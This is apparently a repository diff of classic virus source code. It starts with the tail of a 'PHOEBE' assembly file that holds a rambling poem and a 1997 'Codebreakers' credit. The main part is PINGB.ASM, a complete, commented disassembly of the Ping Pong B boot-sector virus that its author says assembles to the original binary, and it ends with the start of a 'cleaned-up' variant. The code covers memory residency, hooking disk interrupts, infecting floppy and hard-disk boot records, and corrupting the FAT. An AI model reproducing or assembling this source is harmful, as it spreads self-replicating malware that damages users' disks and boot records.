db 'glass even in my ever faltering and constant doubt we',0dh,0ah
db 'are here, this is it, endure. even in on our toilet',0dh,0ah
db 'in the morning or in your shitbox or motel, you have',0dh,0ah
db 'made it-rejoice!-the ground will open up on us even',0dh,0ah
db 'before this glass is finished. this year will end for',0dh,0ah
db 'most of us.salt touches the ground, athens have we',0dh,0ah
db 'lost quite yet? savagly speared we went down quietly?',0dh,0ah
db 'giving up our youth or even worse our spirit so',0dh,0ah
db 'daintily as a beauty queen shits at midnight? was no',0dh,0ah
db 'one watching? listening? tell me athens: are we',0dh,0ah
db 'christians and lions? have i got my history all wrong?',0dh,0ah
db 'from the first to the last or one year past: "are these',0dh,0ah
db 'the depths of despair so unevenly documented in its',0dh,0ah
db 'text?".for once athens history repeats itself.tell me',0dh,0ah
db 'what do you think of our football games? are our glory',0dh,0ah
db 'days over? is america doomed with pre-ejaculation? i',0dh,0ah
db 'must know. slap me and tell me im like all the rest,',0dh,0ah
db 'athens,id feel so much better if you did.am i a thief',0dh,0ah
db 'stealing red robed memory? am i: train through a',0dh,0ah
db 'tunnel? rocketship blasting off? the washington',0dh,0ah
db 'monument? i bet i am.i am wimpering under your window',0dh,0ah
db 'sill or whispering to your pillowed ear:rejoice! we are',0dh,0ah
db 'famous watchers.sewer of amber letters, lips sewed a',0dh,0ah
db 'thread of truth to your tongue.i named and numbered my',0dh,0ah
db 'system the whole world over,and you?you got flowers and',0dh,0ah
db 'chocolates.like a steel warehouse summer turned calcium',0dh,0ah
db 'to carbon.',0dh,0ah
db '****coded/copyrighted:Opic*********Codebreakers,1997****',0Ch
EndStr1:
buffer db 0cdh,20h,0
end_of_PHOEBE:

File diff suppressed because it is too large Load Diff

@ -0,0 +1,761 @@
TITLE PINGB.ASM - Ping Pong "B" virus assembly source code
COMMENT # Read the following carefully:
THIS FILE IS INTENDED FOR EXAMINATION ONLY.
WARNING: DO *NOT* RUN THE RESULTING COM OR EXE FILE!!!!!!!!!
This virus, when assembled, is (almost) harmless if left in a file.
At best, the code will overwrite part of DOS and hang your machine.
At worst, it could wipe out the Boot record of A: or the master boot
record of your hard disk. Since the virus MUST be loaded from a boot
sector to function properly, running the code from DOS will definitely
cause problems.
DISCLAIMER: The author will NOT be held responsible for any damages
caused by careless use of the information presented here.
NOTE: This file, when assembled, will produce a binary image identical
to the original virus code (except for data areas). It has a
few flaws, the biggest of which is described in item 1 of the
Coding Quirks section, below. The companion file, PINGB-C.ASM is
a "cleaned-up" copy of the virus; it corrects all the items under
the Coding Quirks section. It should be operationally functional
to the virus code in this copy.
THEORY OF OPERATION:
1) A disk with the virus is booted.
2) The BIOS memory count is decreased by 2k, to prevent DOS from
overwriting the virus, and relocates itself to the reserved space.
3) Part II of the virus is read into RAM just after part I.
4) The original boot sector is read to 0000:7C00.
5) Virus gets and saves the address of INT 13h, the BIOS disk service
interrupt routine, then hooks its own routine in place.
6) The virus jumps to 0000:7C00, load DOS if possible.
INFECTION PROCESS:
1) A BIOS read request is preformed on the target disk.
2) If the drive is different from the last drive that was read from, then
attempt infection immediately. Otherwise, check the BIOS clock tick
count to see if it's time to activate the bouncing ball routine.
3) Read very first sector of the disk. If it's a hard disk, then search
for a DOS-12 or DOS-16 partition, and if found, read the first sector
of THAT partition. We now have the "normal" boot record of the target
disk in the sector buffer.
4) Copy the BPB from the boot record to the virus code space.
5) Check virus' signature in the boot record to see if infected before.
Check disk structure; virus needs 512 byte sectors, and at least 2 sectors
per cluster to infect the disk.
6) Calculate number of system use sectors, data sectors, and maximum cluster
number.
7) Starting with the first sector of the FAT, search for a free cluster.
If none found, then don't infect the disk.
8) The first free cluster is flagged as bad, and the FAT is updated. Note
that only the first copy of the FAT will be modified.
9) The original boot sector is re-read and written to the second sector of
the virus' cluster. Part II of the virus is written to the first sector.
Part I is written to sector 0, replacing the original boot record.
INFECTION RESTRICTIONS:
0) The virus cannot infect a write-protected disk (obvious, isn't it?)
1) The virus will not infect a non-DOS bootable hard disk.
2) The virus will only infect a disk with 512 byte sectors, and at least two
sectors per cluster. This rules out 1.44M and 1.2M disks, among others.
3) The virus will not infect a disk with no free space (from DOS's view).
CODING QUIRKS:
1) The virus uses a "MOV CS,AX" instruction to continue execution after
relocating itself to higher memory (see MEMORY MAP, below). This should
not work on a 286 or 386 system (the author has not tried it!).
2) The virus uses several "MOV rr,0" instructions (where rr is a 16-bit
register). It could be replaced by "XOR rr,0" to save a byte.
3) The virus uses "XOR rr,0FFH" and "INC rr" to negate a value (by first
computing the ones complement, then adding one to get the twos
complement.) This could be replaced by "NEG rr" to save three bytes.
4) The use of OFS_ADJ (see below for computation) is needed to let me use
an ORG of 0 when assembling the file. I could've used ORG 07C00h, but
that would create a file about 32k in size on assembling. Instead, I
chose to add this offset manually to force correct address generation.
MEMORY MAP:
The virus will relocate itself 2k below the top of memory. The virus
itself is 1024 bytes, and uses a 512 byte buffer when infecting other
disks. In all, the virus uses 1.5k of memory that is 512 bytes below
the BIOS top of memory count. For a 640k machine the map becomes:
640.0k (97C0:8400, which is A000:0000) ==> Top of memory
639.5k (97C0:8200 to 97C0:83FF) ==> Unused
639.0k (97C0:8000 to 97C0:81FF) ==> Buffer used by virus
638.5k (97C0:7E00 to 97C0:7FFF) ==> 2nd part of virus code
638.0k (97C0:7C00 to 97C0:7DFF) ==> Main part of Ping Pong virus
Note that the "clean" version has a different memory map!!
# End of comment
LOCALS
;The following lines, especially OFS_ADJ, is used to force the assembler to
;generate the correct address for data references. The virus code is
;ORG 7C00h, but we are assembling at ORG 0h. Therefore, we must add
;7C00h to all data references, to make the addresses come out right.
PROGRAM_ASSEMBLY_OFS EQU 0000H
BOOT_SECTOR_LOAD_OFS EQU 7C00H
OFS_ADJ EQU BOOT_SECTOR_LOAD_OFS - PROGRAM_ASSEMBLY_OFS
LOW_MEM_DATA SEGMENT AT 0H ;Bottom of memory space
ORG 0H ;Interrupt vector space
DUMMY_ADDRESS LABEL FAR ;Dummy address used for patching
ORG 0020H
INT8_OFS DW ? ;INT 8h vector offset & segment
INT8_SEG DW ?
ORG 004CH
INT13_OFS DW ? ;INT 13h vector offset & segment
INT13_SEG DW ?
ORG 0413H ;BIOS data area
KB_MEM DW ? ;K bytes of RAM in machine
ORG 7C00H ;Jump here to load O/S
BOOT_SECTOR_EXEC LABEL FAR
LOW_MEM_DATA ENDS
VIRUS SEGMENT
ASSUME CS:VIRUS,DS:NOTHING,ES:NOTHING
ORG 0H
START_HERE:
JMP SHORT CODE_START ;Force a two byte relative JuMp
NOP_INST:
NOP
OEM_ID DB 'PingPong' ;Must be eight characters long!
BYTES_PER_SEC DW 512
SEC_PER_CLU DB 2
RES_SECTORS DW 1
FAT_COPIES DB 2
DIR_ENTRIES DW 112 ;This is a standard
TOTAL_SECTORS DW 720 ; BIOS Parameter Block!
MEDIA_DESCRIP DB 0FDH
SEC_PER_FAT DW 2
SEC_PER_TRK DW 9
SIDES_ON_DISK DW 2
HIDDEN_SECTORS DW 0
ORG 001EH ;Must ORGinate at offset 1Eh
CODE_START:
XOR AX,AX
MOV SS,AX ;Set up stack pointer
MOV SP,BOOT_SECTOR_LOAD_OFS
MOV DS,AX
ASSUME DS:LOW_MEM_DATA
MOV AX,KB_MEM ;Get BIOS's count of available memory
SUB AX,2 ;Reserve 2k for virus's use
MOV KB_MEM,AX ;Save updated memory Kbyte count
;Shifting the memory Kbyte count left by 6 bits will yield the equivalent
;paragraph count. The result is the target segment value for relocation.
;Subtracting 07C0h from the segment value will make the segment shift
;downards by 7C00 bytes, which makes offset 7C00h in that segment line
;up with the previous offset 0.
;For a 640k machine (numbers in parenthesis are decimal equivalents)
; Original BIOS memory count: 280h ( 640) Kbytes
; After virus subtracts 2k : 27Eh ( 638) Kbytes
; Shifting left by 6 bits : 9F80h (40832) paragraphs
; Subtract 07C0h : 97C0h (38848) segment value
MOV CL,06
SHL AX,CL ;This is same as multiplying by 64
SUB AX,07C0H ;Subtract offset divided by 16
MOV ES,AX ;Use result as segment value
MOV SI,BOOT_SECTOR_LOAD_OFS
MOV DI,SI ;Set up index regisetrs for move
MOV CX,256 ;Copy 256 words (ie 512 bytes)
REP MOVSW
DB 08EH, 0C8H ;This is a "MOV CS,AX" instruction (See notes below)
;Notes on MOV CS,AX:
;This should be an illegal instruction, and if you go by the book, it
;wouldn't work on a 80x86 processor. On a 80386 system, it will hang the
;computer, requiring a hard reset or a cold boot. Apprantly, it works on
;a 8088. Turbo Assembler 2.0 will flag "MOV CS,AX" as an instruction with
;illegal operands, so, in order to preserve the original virus code, the
;hex bytes of the instruction must be inserted manually into the code stream.
VIRUS_CONT LABEL FAR ;Continuation address after move
PUSH CS
POP DS ;Set up DS register
ASSUME ES:VIRUS,DS:VIRUS
CALL @@LOAD_PART_2 ;try two times to load part 2
@@LOAD_PART_2:
XOR AH,AH
INT 13H ;Reset disk subsystem
AND Byte Ptr DRIVE+OFS_ADJ,080H ;Force drive number to either A: or C:
MOV BX,PART2_SECTOR+OFS_ADJ
;The sector read/write routine always uses a fixed offset of 8000h; so to get
;the data into the right place, the segment registers are adjusted instead.
;We want to load part 2 of the virus just after part 1, so the offset normally
;would be 7E00h (ie, 7C00h+200h). However, since the offset MUST be 8000h,
;we will change ES to be 0200h BYTES lower then it normally would be.
;Segment registers are in paragraphs, so to subtract 0200h BYTES from ES
;only subtract 0020h.
;This gives us a effective offset calculation of 8000h - (20h * 10h) = 7E00h
PUSH CS
POP AX ;See note above!!
SUB AX,20H
MOV ES,AX ;Move result into ES for read routine
CALL READ_SECTOR
MOV BX,PART2_SECTOR+OFS_ADJ ;Sector after part 2 of the virus is
INC BX ; the original boot record of the disk
MOV AX,0FFC0H ;Address calculation for sector read:
MOV ES,AX ; 8000h + (FFC0h * 10h) = 107C00h
CALL READ_SECTOR ;Trim address to 20 bits, and you
XOR AX,AX ; get 07C00h, which is 0000:7C00
MOV FLAGS+OFS_ADJ,AL ;Clear all flags.
MOV DS,AX
ASSUME DS:LOW_MEM_DATA
MOV AX,INT13_OFS
MOV BX,INT13_SEG
MOV Word Ptr INT13_OFS,OFFSET NEW_INT13+OFS_ADJ
MOV INT13_SEG,CS
PUSH CS
POP DS
ASSUME DS:VIRUS
MOV INT13_PATCH+1+OFS_ADJ,AX ;Save original INT 13h vector
MOV INT13_PATCH+3+OFS_ADJ,BX ; directly into instruction stream
MOV DL,DRIVE+OFS_ADJ
JMP BOOT_SECTOR_EXEC ;Load the O/S as normal
;***************************************
WRITE_SECTOR:
MOV AX,0301H
JMP SHORT VIRUS_DISK_SERV
READ_SECTOR:
MOV AX,0201H
VIRUS_DISK_SERV: ;Command is in AX, DOS sector # in BX
XCHG AX,BX ;Swap command code and sector number
;Now calculate the physical location of the sector number. DOS sectors are
;sequential, while the BIOS uses track, head, and sector numbers.
;Method:
; Starting with: AX=DOS sector #
; Dividing by sectors/track: AX=Sides*Tracks DL=BIOS sector# (after adding 1)
; Move sector number (in DL) to CH for later processing
; Dividing by sides on disk: AX=Track number DL=Head (Side) number
; Since the track # may be more than 255, we will combine the lower
; two bits in AH with the sector number in CH. First shift it left
; by 6 bits, to get it in the form tt000000, then OR it with CH.
; AX now has the following format (high to low bit seq.): TTssssss tttttttt
; ("t" is lower 8 bits of track#, "T" is high order 2 bits of track#,
; and "s" is bits of sector number. )
; Now copy AX into CX, and reverse the two halves of CX. Now the track
; and sector numbers are in their correct locations. (Bits: tttttttt TTssssss)
; The side number is still in DL, so copy it into DH for the BIOS.
ADD AX,HIDDEN_SECTORS+OFS_ADJ ;Add number of hidden sectors
XOR DX,DX ; (Clear high word for 32 bit division)
DIV SEC_PER_TRK+OFS_ADJ ;Divide by sectors/track to get
INC DL ; sector number in DX.
MOV CH,DL
XOR DX,DX
DIV SIDES_ON_DISK+OFS_ADJ ;Divide what's left in AX by
MOV CL,06 ; # of sides to get a track number
SHL AH,CL ; in AX and the head number in DX.
OR AH,CH ;Do some bit shuffling to get the
MOV CX,AX ; pieces in order...
XCHG CH,CL
MOV DH,DL ; and we're done! (whew!)
MOV AX,BX ;Move command code back into AX
DISK_SERVICE:
MOV DL,DRIVE+OFS_ADJ
MOV BX,8000H ;Offset is fixed. (See notes above)
INT 13H
JNC @@NO_ERR ;If successful, then return to caller normally
POP AX ;Otherwise, remove caller's return address
@@NO_ERR: ; and return one lever higher than should.
RET
NEW_INT13 LABEL FAR ;New INT 13h handler
PUSH DS
PUSH ES
PUSH AX
PUSH BX ;Save registers on stack
PUSH CX
PUSH DX
PUSH CS ;Establish our data segment registers
POP DS
PUSH CS
POP ES
ASSUME DS:VIRUS,ES:VIRUS
TEST Byte Ptr FLAGS+OFS_ADJ,01 ;Was this INT invoked before?
JNZ @@END ;If so, ignore this call
CMP AH,02 ;Intercept read requests only
JNE @@END
CMP DRIVE+OFS_ADJ,DL ;Check drive number...
MOV DRIVE+OFS_ADJ,DL ; (also save it for next time)
JNZ @@INFECT ;...if not the same, infect immediately
XOR AH,AH
INT 1AH ;Get clock tick count
TEST DH,07FH ;Is it the right time to activate
JNZ @@UPDATE_TICKS ; the bouncing ball display?
TEST DL,0F0H
JNZ @@UPDATE_TICKS
PUSH DX ;Preserve clock tick count
CALL INST_BALL ;Install the bouncing ball routine,
POP DX ; if not established already.
@@UPDATE_TICKS:
MOV CX,DX ;Find elapsed time since last call
SUB DX,TICK_COUNT+OFS_ADJ ; to this routine. Also save tick
MOV TICK_COUNT+OFS_ADJ,CX ; count for next time.
SUB DX,36 ;If less than 2 seconds have passed,
JB @@END ; don't infect the disk.
@@INFECT:
OR Byte Ptr FLAGS+OFS_ADJ,00000001B ;Set busy flag for INT 13h
PUSH SI
PUSH DI
CALL INFECT_A_DISK ;Attempt to infect target disk
POP DI
POP SI
AND Byte Ptr FLAGS+OFS_ADJ,11111110B ;Clear busy flag.
@@END:
POP DX
POP CX
POP BX ;Restore caller's registers
POP AX
POP ES
POP DS
INT13_PATCH LABEL WORD
JMP DUMMY_ADDRESS ;Continue with original INT 13h handler
INFECT_A_DISK:
MOV AX,0201H ;Read one sector...
MOV DH,0
MOV CX,0001H ;...the first sector of a disk.
CALL DISK_SERVICE
;At this point, the sector we just read could be a normal boot record,
;or the partition table of a hard disk. If it's a boot record from a floppy,
;then proceed to infect it. Otherwise, we have to find the DOS partition
;of the hard disk and read the boot sector from that partition. We search
;the partition for a DOS-12 or DOS-16 entry, then, using the beginning
;drive/side/track/sector information, we read the first sector of the
;partition. That sector will be the required boot record, which we will
;prodeed to process.
TEST Byte Ptr DRIVE+OFS_ADJ,80H ;Is the disk a Winchester?
JZ @@FLOPPY ;If so, then we got a partition table.
MOV SI,OFFSET PARTITION_TABLE+OFS_ADJ
MOV CX,4
@@LP: ;Check O/S identification byte:
CMP Byte Ptr [SI+4],01 ; Is it a DOS-12 partition?
JE @@FOUND ; if so, then continue with infection.
CMP Byte Ptr [SI+4],04 ; Check for a DOS-16 partition.
JE @@FOUND
ADD SI,16 ;Not this one, go to next partition
LOOP @@LP
RET ;No suitable DOS partitions found, so exit.
@@FOUND:
MOV DX,[SI] ;Get drive number and side
MOV CX,[SI+2] ;Get track and sector numbers
MOV AX,0201H ;Read one sector...
CALL DISK_SERVICE
@@FLOPPY: ;A DOS boot record is at CS:8000
MOV SI,OFFSET _NOP_INST+OFS_ADJ ;Copy BPB to virus' code
MOV DI,OFFSET NOP_INST+OFS_ADJ ; space at ES:7C00h
MOV CX,001CH
REP MOVSB
CMP Word Ptr _VIRUS_SIG+OFS_ADJ,01357H ;Check virus' signature
JNE @@INFECT ;Infect if not the same
;It is not known what the following code does; it seems to soem sort of
;error recovery procedure, in case the first attempt at infection failed.
CMP Byte Ptr _CONTINUATION+OFS_ADJ,0
JNB @@EXIT
MOV AX,_SYSTEM_SECTORS+OFS_ADJ
MOV SYSTEM_SECTORS+OFS_ADJ,AX
MOV SI,_PART2_SECTOR+OFS_ADJ
JMP CONT_POINT
@@EXIT:
RET ;Exit now; cannot infect this disk
@@INFECT:
CMP Word Ptr _BYTES_PER_SEC+OFS_ADJ,512 ;512 byte sectors only!
JNZ @@EXIT
CMP Byte Ptr _SEC_PER_CLU+OFS_ADJ,2 ;At lease 2 sectors per cluster
JB @@EXIT
;The virus now computes the number of system use sectors and number of data
;sectors. System use sectors include the Boot Record, FAT copies, root
;directory, and any otherwise reserved sectors. What's left is the number
;of data sectors.
MOV CX,_RES_SECTORS+OFS_ADJ ;Get # of reserved sectors
MOV AL,_FAT_COPIES+OFS_ADJ ;Get # of FAT copies
CBW ;Convert to word in AX
MUL Word Ptr _SEC_PER_FAT+OFS_ADJ ;Multiply by sectors/FAT
ADD CX,AX ;Add result to # reserved sec.
MOV AX,32 ;Each dir entry is 32 bytes
MUL Word Ptr _DIR_ENTRIES+OFS_ADJ ;Get size of root dir in bytes
ADD AX,511 ;Round up when dividing...
MOV BX,512 ;Divide by 512 to get # sectors
DIV BX ; the root directory takes.
ADD CX,AX ;Add to # reserved sectors
MOV SYSTEM_SECTORS+OFS_ADJ,CX ;(Overflow & remainder ignored)
;The virus now calculates the number of data sectors and clusters.
;If there are more than 4080 clusters, then assume we're using a 16 bit FAT.
MOV AX,TOTAL_SECTORS+OFS_ADJ ;Get total # of sectors on disk
SUB AX,SYSTEM_SECTORS+OFS_ADJ ;Subtract # of system sectors
MOV BL,SEC_PER_CLU+OFS_ADJ ;Get # of sectors in a cluster
XOR DX,DX ;Clear high order word...
XOR BH,BH ; and byte for division
DIV BX ;Divide, to get # of clusters
INC AX ;Round up by one
MOV DI,AX ;Save for "find free" routine
AND Byte Ptr FLAGS+OFS_ADJ,11111011B ;Clear "16 bit FAT" flag.
CMP AX,0FF0H ;Is # of clusters too high?
JBE @@1
OR Byte Ptr FLAGS+OFS_ADJ,00000100B ;If so, set flag for 16 bit FAT
@@1:
;Now the search for a free cluster begins.
MOV SI,1 ;Counter of now many FAT sectors searched
MOV BX,RES_SECTORS+OFS_ADJ ;Start with 1st FAT sector
DEC BX ;Sub 1, because we add 1 later
MOV CUR_FAT_SECTOR+OFS_ADJ,BX
MOV Byte Ptr FAT_OFS_ADJ+OFS_ADJ,-2 ;Set "cluster overhead"
JMP SHORT VIRUS_PART2_CONT ;JUMP to part II
ORG 01F3H
CUR_FAT_SECTOR DW ? ;Current FAT sector number; used during infection
SYSTEM_SECTORS DW ? ;Total number of reserved, FAT, and root DIR sectors
FLAGS DB ? ;Bit mapped flags
DRIVE DB ? ;Current drive number
PART2_SECTOR DW ? ;DOS sector number of 2nd part of virus
CONTUATION DB ? ;??? Continuation flag???
ORG 01FCH
VIRUS_SIG DW 01357H ;Virus' signature
BIOS_SIG DW 0AA55H ;Required signature of all boot sectors
;*************** Second sector of virus code starts here! ******************;
ORG 0200H
VIRUS_PART2_CONT:
;Note: DI has maximum cluster number, and SI has current cluster number.
@@NEXT_SECTOR:
INC Word Ptr CUR_FAT_SECTOR+OFS_ADJ ;Add one to FAT sector #
MOV BX,CUR_FAT_SECTOR+OFS_ADJ
ADD Byte Ptr FAT_OFS_ADJ+OFS_ADJ,2
CALL READ_SECTOR ;Read the FAT sector
JMP SHORT @@CHECK ;Check for end of search
@@FIND_FREE:
;To get an entry for a specific cluster in a FAT table, multiply by 1.5 if
;it's a 12 bit FAT; otherwise multiply by 2. The virus uses the following:
;multiply the cluster number by 3 if it's a 12 bit FAT, otherwise by 4. Then
;divide by 2.
MOV AX,3
TEST Byte Ptr FLAGS+OFS_ADJ,00000100B ;Check for 16 bit FAT
JZ @@0
INC AX ;Use 4 if FAT-16
@@0:
MUL SI ;Multiply by cluster number
SHR AX,1 ;Divide by 2
;The cluster adjustment value is needed to keep offsets within 512 bytes.
;Since each sector is 0200h bytes, we'll subtract 0200h bytes every time
;we calculate another FAT offset for each subsequent FAT sector.
SUB AH,FAT_OFS_ADJ+OFS_ADJ ;Subtract cluster adjustment
MOV BX,AX
CMP BX,01FFH ;Is offset too high?
JNB @@NEXT_SECTOR ;If so, go to next sector
MOV DX,Word Ptr [BX+SECTOR_BUFFER+OFS_ADJ] ;Get entry
;Once we have the cluster entry, we have to adjust it for a FAT-12 if
;necessary. On a FAT-16, we can use the vlaue directly.
;If it is a 12 bit FAT:
; Clear upper nibble if cluster number is even.
; Otherwise, throw out lower nibble and shift down by 4 bits.
TEST Byte Ptr FLAGS+OFS_ADJ,00000100B ;12 bit FAT check
JNZ @@2
MOV CL,04 ;Prepare for shift
TEST SI,1 ;Cluster number odd/even check.
JZ @@1
SHR DX,CL ;Shift down by 1 nibble if odd.
@@1:
AND DH,0FH ;Clear highest nibble.
@@2:
;A free cluster has an entry of 0. Using the TEST instruction, we check
;for an entry of 0. Note that the TEST DX,0FFFFH could be replaced by
;OR DX,DX, saving two bytes.
TEST DX,0FFFFH
JZ FREE_FOUND
@@CHECK: ;See if the maximun cluster number has been
INC SI ; reached. If so, then no free cluster has
CMP SI,DI ; been found, so we can't infect the disk
JBE @@FIND_FREE
RET
FREE_FOUND:
;Now that we found a free cluster, we'll set that cluster to "bad" status.
;As before, we test for a 12 bit FAT and adjust the bad cluster flag
;accordingly.
MOV DX,0FFF7H ;Bad cluster flag.
TEST Byte Ptr FLAGS+OFS_ADJ,00000100B ;12 bit FAT check.
JNZ @@0
AND DH,0FH ;Clear upper nibble
MOV CL,04
TEST SI,1 ;Cluster number odd/even check.
JZ @@0
SHL DX,CL ;Shift by 4 bits if odd.
@@0:
OR Word Ptr [BX+SECTOR_BUFFER+OFS_ADJ],DX ;Insert new value.
MOV BX,CUR_FAT_SECTOR+OFS_ADJ ;Get FAT sector #
CALL WRITE_SECTOR ;Write modified FAT to disk
MOV AX,SI ;Get free cluster number to AX
SUB AX,2 ;Subtract cluster number basis
MOV BL,SEC_PER_CLU+OFS_ADJ ;Get # of sectors/cluster
XOR BH,BH
MUL BX ;Multiply to get sector number
ADD AX,SYSTEM_SECTORS+OFS_ADJ ;Add # system use sectors to
MOV SI,AX ; get DOS sector # on disk
MOV BX,0 ;Read the boot record from sector 0
CALL READ_SECTOR
MOV BX,SI ;Write it out to disk, in the second
INC BX ; sector of our "bad" cluster
CALL WRITE_SECTOR
CONT_POINT:
MOV BX,SI ;SI has first sector of free cluster
MOV PART2_SECTOR+OFS_ADJ,SI ;Save it
PUSH CS
POP AX
SUB AX,20H ;Adjust segment value so ES:8000 will
MOV ES,AX ; be the same as CS:7E00h
CALL WRITE_SECTOR ;Write part 2 of virus to disk
PUSH CS
POP AX
SUB AX,40H ;Now adjust ES so an offset of 8000
MOV ES,AX ; will point to CS:7C00h
MOV BX,0 ;Write the first part of the virus
CALL WRITE_SECTOR ; into the boot sector
RET ;DISK IS NOW INFECTED!!!!
ORG 02B0H
TICK_COUNT DW ?
FAT_OFS_ADJ DB ?
INST_BALL: ;Install bouncing ball routine
TEST Byte Ptr FLAGS+OFS_ADJ,00000010B ;Installed already?
JNZ @@EXIT
OR Byte Ptr FLAGS+OFS_ADJ,00000010B ;Set "installed" flag
MOV AX,0
MOV DS,AX
ASSUME DS:LOW_MEM_DATA
MOV AX,INT8_OFS ;Get vector for INT 8h
MOV BX,INT8_SEG
MOV INT8_OFS,OFFSET NEW_INT8+OFS_ADJ ;Set vector to point at
MOV INT8_SEG,CS ; our routine.
PUSH CS
POP DS
ASSUME DS:VIRUS
MOV INT8_PATCH+1+OFS_ADJ,AX ;Direcly patch original vecotr
MOV INT8_PATCH+3+OFS_ADJ,BX ; contents into our code.
@@EXIT:
RET
NEW_INT8 LABEL FAR ;New INT 8 handler
PUSH DS
PUSH AX
PUSH BX ;Save affected registers
PUSH CX
PUSH DX
PUSH CS
POP DS
MOV AH,0FH ;Get video mode, page, and # of columns
INT 10H
MOV BL,AL ;Move mode number into BL
;If the video mode and page are the same as last time, then continue bouncing
;the ball. Otherwise, reset the ball position and increment, and start anew.
;Note: The active page number is in BH throughout this routine.
CMP BX,VIDEO_PARAMS+OFS_ADJ ;Is mode and page same as last time?
JE @@SAME_MODE
MOV VIDEO_PARAMS,BX ;Save for futore reference (!!)
DEC AH ;Subtract 1 from number of columns
MOV SCRN_COLS+OFS_ADJ,AH ; onscreen and save it.
MOV AH,1 ;Assume graphics mode.
CMP BL,7 ;Mono text mode?
JNE @@0
DEC AH ;Set flag to 0 if so.
@@0:
CMP BL,4 ;Is mode number below 4? (ie. 0-3)
JNB @@1
DEC AH
@@1:
MOV GRAF_MODE+OFS_ADJ,AH ;Save flag value.
MOV Word Ptr BALL_POS+OFS_ADJ,0101H ;Set XY position to 1,1
MOV Word Ptr BALL_INC+OFS_ADJ,0101H ;Set XY increment to 1,1
MOV AH,03H
INT 10H ;Read cursor position into DX
PUSH DX ; and save it on the stack.
MOV DX,BALL_POS ;Get XY position of ball.
JMP SHORT UPDATE_BALL_POS ;Change increment if needed.
@@SAME_MODE: ;Enter here if mode not changed.
MOV AH,03H
INT 10H ;Get cursor position into DX
PUSH DX ; and save it.
MOV AH,02
MOV DX,BALL_POS+OFS_ADJ
INT 10H ;Move to bouncing ball location.
MOV AX,ORG_CHAR+OFS_ADJ ;Get original screen char & attribute.
CMP Byte Ptr GRAF_MODE+OFS_ADJ,1 ;Check for graphics mode/
JNE @@3
MOV AX,8307H ;If graphics mode, use CHR$(7)
@@3: ;If not, then use original char
MOV BL,AH ;Move color value into BL
MOV CX,1 ;Write one character
MOV AH,09H ; with attributes and all
INT 10H ; into page in BH.
;The update routine will check for the ball's position on a screen border.
;If it's on a border, then negate the increment for that direction.
;(ie, if the ball was moving up, reverse it.) If the increment was not
;changed, then "randomly" change the X or Y increment based on the lower
;three bits of the previous screen character. This will make the ball
;appear to bounce around "randomly" on a screen filled with characters.
;Note that the ineffecient instructions "XOR rr,0FFH" and "INC rr" can be
;replaced by "NEG rr" (where rr is a register.) This will save 3 bytes
;for every occurance.
UPDATE_BALL_POS: ;Figure new ball position.
MOV CX,BALL_INC+OFS_ADJ ;Get ball position increment.
CMP DH,0 ;Is is on the top row of the screen?
JNZ @@0
XOR CH,0FFH ;Make a ones-complement of the value,
INC CH ; then add 1 to make a twos-comp.
@@0:
CMP DH,24 ;Reached bottom edge?
JNZ @@1
XOR CH,0FFH ;See above!
INC CH
@@1:
CMP DL,0 ;Reached left edge?
JNZ @@2
XOR CL,0FFH ;See above!
INC CL
@@2:
CMP DL,SCRN_COLS+OFS_ADJ ;Reached right edge?
JNZ @@3
XOR CL,0FFH ;Should be familar by now!
INC CL
@@3:
CMP CX,BALL_INC+OFS_ADJ ;Is the increment the same as before?
JNE CALC_NEW_POS ;If not, apply the modified increment.
MOV AX,ORG_CHAR+OFS_ADJ ;Do "ramdom" updating, as described
AND AL,00000111B ; in the note above.
CMP AL,00000011B
JNE @@4
XOR CH,0FFH ;Reverse Y direction.
INC CH
@@4:
CMP AL,00000101B
JNE CALC_NEW_POS
XOR CL,0FFH ;Reverse X direction.
INC CL
CALC_NEW_POS:
ADD DL,CL ;Add increments to ball position.
ADD DH,CH
MOV BALL_INC+OFS_ADJ,CX ;Save ball position increment and
MOV BALL_POS+OFS_ADJ,DX ; new ball position.
MOV AH,02H ;Move to ball position, which is
INT 10H ; in register DX.
MOV AH,08H ;Read the present screen char and
INT 10H ; attribute.
MOV ORG_CHAR+OFS_ADJ,AX ;Save them for next time.
MOV BL,AH ;Use same attribute, if in text mode
CMP Byte Ptr GRAF_MODE+OFS_ADJ,1
JNE @@0
MOV BL,83H ;Otherwise, use color # 83H
@@0:
MOV CX,0001H ;Write one character and attribute
MOV AX,0907H ; using CHR$(7) as the character.
INT 10H
POP DX ;Get old cursor position.
MOV AH,02H ;Move cursor back to that position.
INT 10H
POP DX
POP CX
POP BX ;Restore affected registers.
POP AX
POP DS
INT8_PATCH LABEL WORD
JMP DUMMY_ADDRESS ;Continue with original INT 8h handler.
ORG_CHAR DW ? ;Original screen character and attribute.
BALL_POS DW ? ;Bouncing ball's XY position.
BALL_INC DW ? ;Ball's XY increment
GRAF_MODE DB ? ;1 = graphics mode, otherwise it's a text mode.
VIDEO_PARAMS DW ? ;Mode number and page number.
SCRN_COLS DB ? ;Number of screen columns minus 1
VIRUS_LENGTH EQU $-START_HERE
DB 1024-VIRUS_LENGTH DUP (0) ;Pad out to 1024 bytes.
;******************** End of virus code! **************************************
ORG 0400H ;Work area for the virus
SECTOR_BUFFER LABEL NEAR ;This is a sector buffer!!
_JMP_INST DW ?
_NOP_INST DB ?
_OEM_ID DB 8 DUP(?)
_BYTES_PER_SEC DW ?
_SEC_PER_CLU DB ?
_RES_SECTORS DW ?
_FAT_COPIES DB ?
_DIR_ENTRIES DW ? ;This is the BPB of the target
_TOTAL_SECTORS DW ? ; disk during infection.
_MEDIA_DESCRIP DB ?
_SEC_PER_FAT DW ?
_SEC_PER_TRK DW ?
_SIDES_ON_DISK DW ?
_HIDDEN_SECTORS DW ?
ORG 05BEH
PARTITION_TABLE LABEL NEAR
ORG 05F3H
_CUR_FAT_SECTOR DW ?
_SYSTEM_SECTORS DW ?
_FLAGS DB ?
_DRIVE DB ?
_PART2_SECTOR DW ?
_CONTINUATION DB ?
ORG 05FCH
_VIRUS_SIG DW ?
_BIOS_SIG DW ? ;Should always be 0AA55h
VIRUS ENDS
END
;Disassembled by James L. July 1991
;# EOF #;

@ -0,0 +1,730 @@
TITLE PINGB-C.ASM - Ping Pong "B" virus assembly source code (CLEAN VERSION)
COMMENT # Read the following carefully:
THIS FILE IS INTENDED FOR EXAMINATION ONLY.
WARNING: DO *NOT* RUN THE RESULTING COM OR EXE FILE!!!!!!!!!
This virus, when assembled, is (almost) harmless if left in a file.
At best, the code will overwrite part of DOS and hang your machine.
At worst, it could wipe out the Boot record of A: or the master boot
record of your hard disk. Since the virus MUST be loaded from a boot
sector to function properly, running the code from DOS will definitely
cause problems.
